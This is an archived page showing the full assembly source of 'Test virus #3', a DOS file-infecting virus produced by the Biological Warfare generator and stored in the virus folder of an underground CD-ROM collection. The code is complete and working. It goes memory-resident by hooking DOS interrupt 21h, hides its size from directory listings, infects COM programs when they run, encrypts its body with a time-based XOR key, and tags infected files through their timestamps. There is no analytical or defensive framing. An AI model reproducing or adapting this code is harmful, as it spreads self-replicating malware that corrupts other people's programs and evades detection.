home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / virgen / bw100 / SAMPLES.ZIP / TEST3.ASM < prev    next >
Encoding:
Assembly Source File  |  1994-06-05  |  9.8 KB  |  319 lines

  1. ; test3.asm : Test virus #3
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     0FA10h
  5. PONG            equ     0B8D4h
  6. STAMP           equ     31
  7.  
  8. code            segment
  9.                 org     0
  10.                 assume  cs:code,ds:code
  11.  
  12. start:
  13.                 db      0E9h,3,0          ; to virus
  14. host:
  15.                 db      0CDh,20h,0        ; host program
  16. virus_begin:
  17.  
  18.                 db      0BBh                    ; decryption module
  19. code_offset     dw      offset virus_code
  20.                 mov     si,VIRUS_SIZE / 2 + 1
  21.                 db      0B8h
  22. cipher          dw      0
  23.  
  24. decrypt:
  25.                 xor     cs:[bx],ax
  26.                 add     bx,2
  27.                 dec     si
  28.                 jnz     decrypt
  29.  
  30.  
  31. virus_code:
  32.                 push    ds es
  33.  
  34.                 call    $ + 3             ; BP is instruction ptr.
  35.                 pop     bp
  36.                 sub     bp,offset $ - 1
  37.  
  38.                 mov     ax,PING           ; test for residency
  39.                 int     21h
  40.                 cmp     dx,PONG
  41.                 je      installed
  42.  
  43.                 mov     ax,es                   ; Get PSP
  44.                 dec     ax
  45.                 mov     ds,ax                   ; Get MCB
  46.  
  47.                 sub     word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
  48.                 sub     word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
  49.                 mov     es,word ptr ds:[12h]
  50.  
  51.                 push    cs                      ; copy virus into memory
  52.                 pop     ds
  53.                 xor     di,di
  54.                 mov     si,bp
  55.                 mov     cx,(virus_end - start) / 2 + 1
  56.                 rep     movsw
  57.  
  58.                 xor     ax,ax                   ; capture interrupts
  59.                 mov     ds,ax
  60.  
  61.                 mov     si,21h * 4              ; get original int 21
  62.                 mov     di,offset old_int_21
  63.                 movsw
  64.                 movsw
  65.  
  66.                 mov     word ptr ds:[si - 4],offset new_int_21
  67.                 mov     ds:[si - 2],es          ; and set new int 21
  68.  
  69. installed:
  70.                 pop     es ds                   ; restore segregs
  71. com_exit:
  72.                 lea     si,[bp + host]          ; restore host program
  73.                 mov     di,100h
  74.                 push    di
  75.                 movsw
  76.                 movsb
  77.  
  78.                 call    fix_regs                ; fix up registers
  79.                 ret                             ; and leave
  80.  
  81. fix_regs:
  82.                 xor     ax,ax
  83.                 cwd
  84.                 xor     bx,bx
  85.                 mov     si,100h
  86.                 xor     di,di
  87.                 xor     bp,bp
  88.                 ret
  89.  
  90. ; interrupt 21 handler
  91. int_21:
  92.                 pushf
  93.                 call    dword ptr cs:[old_int_21]
  94.                 ret
  95.  
  96. new_int_21:
  97.                 cmp     ax,PING                 ; residency test
  98.                 je      ping_pong
  99.                 cmp     ah,11h                  ; directory stealth
  100.                 je      dir_stealth
  101.                 cmp     ah,12h
  102.                 je      dir_stealth
  103.                 cmp     ah,4Eh                  ; directory stealth
  104.                 je      dir_stealth_2
  105.                 cmp     ah,4Fh
  106.                 je      dir_stealth_2
  107.                 cmp     ax,4B00h                ; execute program
  108.                 jne     int_21_exit
  109.                 jmp     execute
  110. int_21_exit:
  111.                 db      0EAh                    ; never mind ...
  112. old_int_21      dd      0
  113.  
  114. ping_pong:
  115.                 mov     dx,PONG
  116.                 iret
  117.  
  118. dir_stealth:
  119.                 call    int_21                  ; get dir entry
  120.                 test    al,al
  121.                 js      dir_stealth_done
  122.  
  123.                 push    ax bx es
  124.                 mov     ah,2Fh
  125.                 int     21h
  126.  
  127.                 cmp     byte ptr es:[bx],-1     ; check for extended FCB
  128.                 jne     no_ext_FCB
  129.                 add     bx,7
  130. no_ext_FCB:
  131.                 mov     ax,es:[bx + 17h]        ; check for infection marker
  132.                 and     al,31
  133.                 cmp     al,STAMP
  134.                 jne     dir_fixed
  135.  
  136.                 sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
  137.                 sbb     word ptr es:[bx + 1Fh],0
  138. dir_fixed:
  139.                 pop     es bx ax
  140. dir_stealth_done:
  141.                 iret
  142.  
  143. dir_stealth_2:
  144.                 pushf
  145.                 call    dword ptr cs:[old_int_21]
  146.                 jc      dir_stealth_done_2
  147.  
  148. check_infect2:
  149.                 push    ax bx es
  150.  
  151.                 mov     ah,2Fh
  152.                 int     21h
  153.                 mov     ax,es:[bx + 16h]
  154.                 and     al,31                   ; check timestamp
  155.                 cmp     al,STAMP
  156.                 jne     fixed_2
  157.  
  158.                 sub     es:[bx + 1Ah],VIRUS_SIZE + 3
  159.                 sbb     word ptr es:[bx + 1Ch],0
  160.  
  161. fixed_2:
  162.                 pop     es bx ax
  163.                 clc                             ; clear carry
  164. dir_stealth_done_2:
  165.                 retf    2
  166. execute:
  167.                 push    ax bx cx dx si di ds es
  168.  
  169.                 xor     ax,ax                   ; critical error handler
  170.                 mov     es,ax                   ; routine - catch int 24
  171.                 mov     es:[24h * 4],offset int_24
  172.                 mov     es:[24h * 4 + 2],cs
  173.  
  174.                 mov     ax,4300h                ; change attributes
  175.                 int     21h
  176.  
  177.                 push    cx dx ds
  178.                 xor     cx,cx
  179.                 call    set_attributes
  180.  
  181.                 mov     ax,3D02h                ; open file
  182.                 int     21h
  183.                 jc      cant_open
  184.                 xchg    bx,ax
  185.  
  186.                 push    cs                      ; CS = DS
  187.                 pop     ds
  188.  
  189.                 mov     ax,5700h                ; save file date/time
  190.                 int     21h
  191.                 push    cx dx
  192.                 mov     ah,3Fh
  193.                 mov     cx,28
  194.                 mov     dx,offset read_buffer
  195.                 int     21h
  196.  
  197.                 cmp     word ptr read_buffer,'ZM' ; .EXE?
  198.                 je      dont_infect             ; .EXE, skip
  199.  
  200.                 mov     al,2                    ; move to end of file
  201.                 call    move_file_ptr
  202.  
  203.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  204.                 ja      dont_infect             ; too big, don't infect
  205.  
  206.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  207.                 cmp     dx,word ptr read_buffer + 1
  208.                 je      dont_infect
  209.  
  210.                 add     dx,VIRUS_SIZE + 3
  211.                 mov     word ptr new_jump + 1,dx
  212.  
  213.                 add     dx,103h
  214.                 call    encrypt_code            ; encrypt virus
  215.  
  216.                 mov     dx,offset read_buffer   ; save original program head
  217.                 int     21h
  218.  
  219.                 mov     ah,40h                  ; write virus to file
  220.                 mov     cx,VIRUS_SIZE
  221.                 mov     dx,offset encrypt_buffer
  222.                 int     21h
  223.  
  224.                 xor     al,al                   ; back to beginning of file
  225.                 call    move_file_ptr
  226.  
  227.                 mov     dx,offset new_jump      ; and write new jump
  228.                 int     21h
  229.  
  230. fix_date_time:
  231.                 pop     dx cx
  232.                 and     cl,-32                  ; add time stamp
  233.                 or      cl,STAMP
  234.                 mov     ax,5701h                ; restore file date/time
  235.                 int     21h
  236.  
  237. close:
  238.                 pop     ds dx cx                ; restore attributes
  239.                 call    set_attributes
  240.  
  241.                 mov     ah,3Eh                  ; close file
  242.                 int     21h
  243.  
  244. cant_open:
  245.                 pop     es ds di si dx cx bx ax
  246.                 jmp     int_21_exit             ; leave
  247.  
  248.  
  249. set_attributes:
  250.                 mov     ax,4301h
  251.                 int     21h
  252.                 ret
  253.  
  254. dont_infect:
  255.                 pop     cx dx                   ; can't infect, skip
  256.                 jmp     close
  257.  
  258. move_file_ptr:
  259.                 mov     ah,42h                  ; move file pointer
  260.                 cwd
  261.                 xor     cx,cx
  262.                 int     21h
  263.  
  264.                 mov     dx,ax                   ; set up registers
  265.                 mov     ah,40h
  266.                 mov     cx,3
  267.                 ret
  268.  
  269. courtesy_of     db      '[BW]',0
  270. signature       db      'Test virus #3',0
  271.  
  272.  
  273. encrypt_code:
  274.                 push    ax cx
  275.  
  276.                 push    dx
  277.                 xor     ah,ah                   ; get time for random number
  278.                 int     1Ah
  279.  
  280.                 mov     cipher,dx               ; save encryption key
  281.                 pop     cx
  282.                 add     cx,virus_code - virus_begin
  283.                 mov     code_offset,cx          ; save code offset
  284.  
  285.                 push    cs                      ; ES = CS
  286.                 pop     es
  287.  
  288.                 mov     si,offset virus_begin   ; move decryption module
  289.                 mov     di,offset encrypt_buffer
  290.                 mov     cx,virus_code - virus_begin
  291.                 rep     movsb
  292.  
  293.                 mov     cx,VIRUS_SIZE / 2 + 1
  294. encrypt:
  295.                 lodsw                           ; encrypt virus code
  296.                 xor     ax,dx
  297.                 stosw
  298.                 loop    encrypt
  299.  
  300.                 pop     cx ax
  301.                 ret
  302.  
  303. int_24:
  304.                 mov     al,3                    ; int 24 handler
  305.                 iret
  306. new_jump        db      0E9h,0,0
  307.  
  308. virus_end:
  309. VIRUS_SIZE      equ     virus_end - virus_begin
  310. read_buffer     db      28 dup (?)              ; read buffer
  311. encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
  312.  
  313. end_heap:
  314.  
  315. MEM_SIZE        equ     end_heap - start
  316.  
  317. code            ends
  318.                 end     start
  319.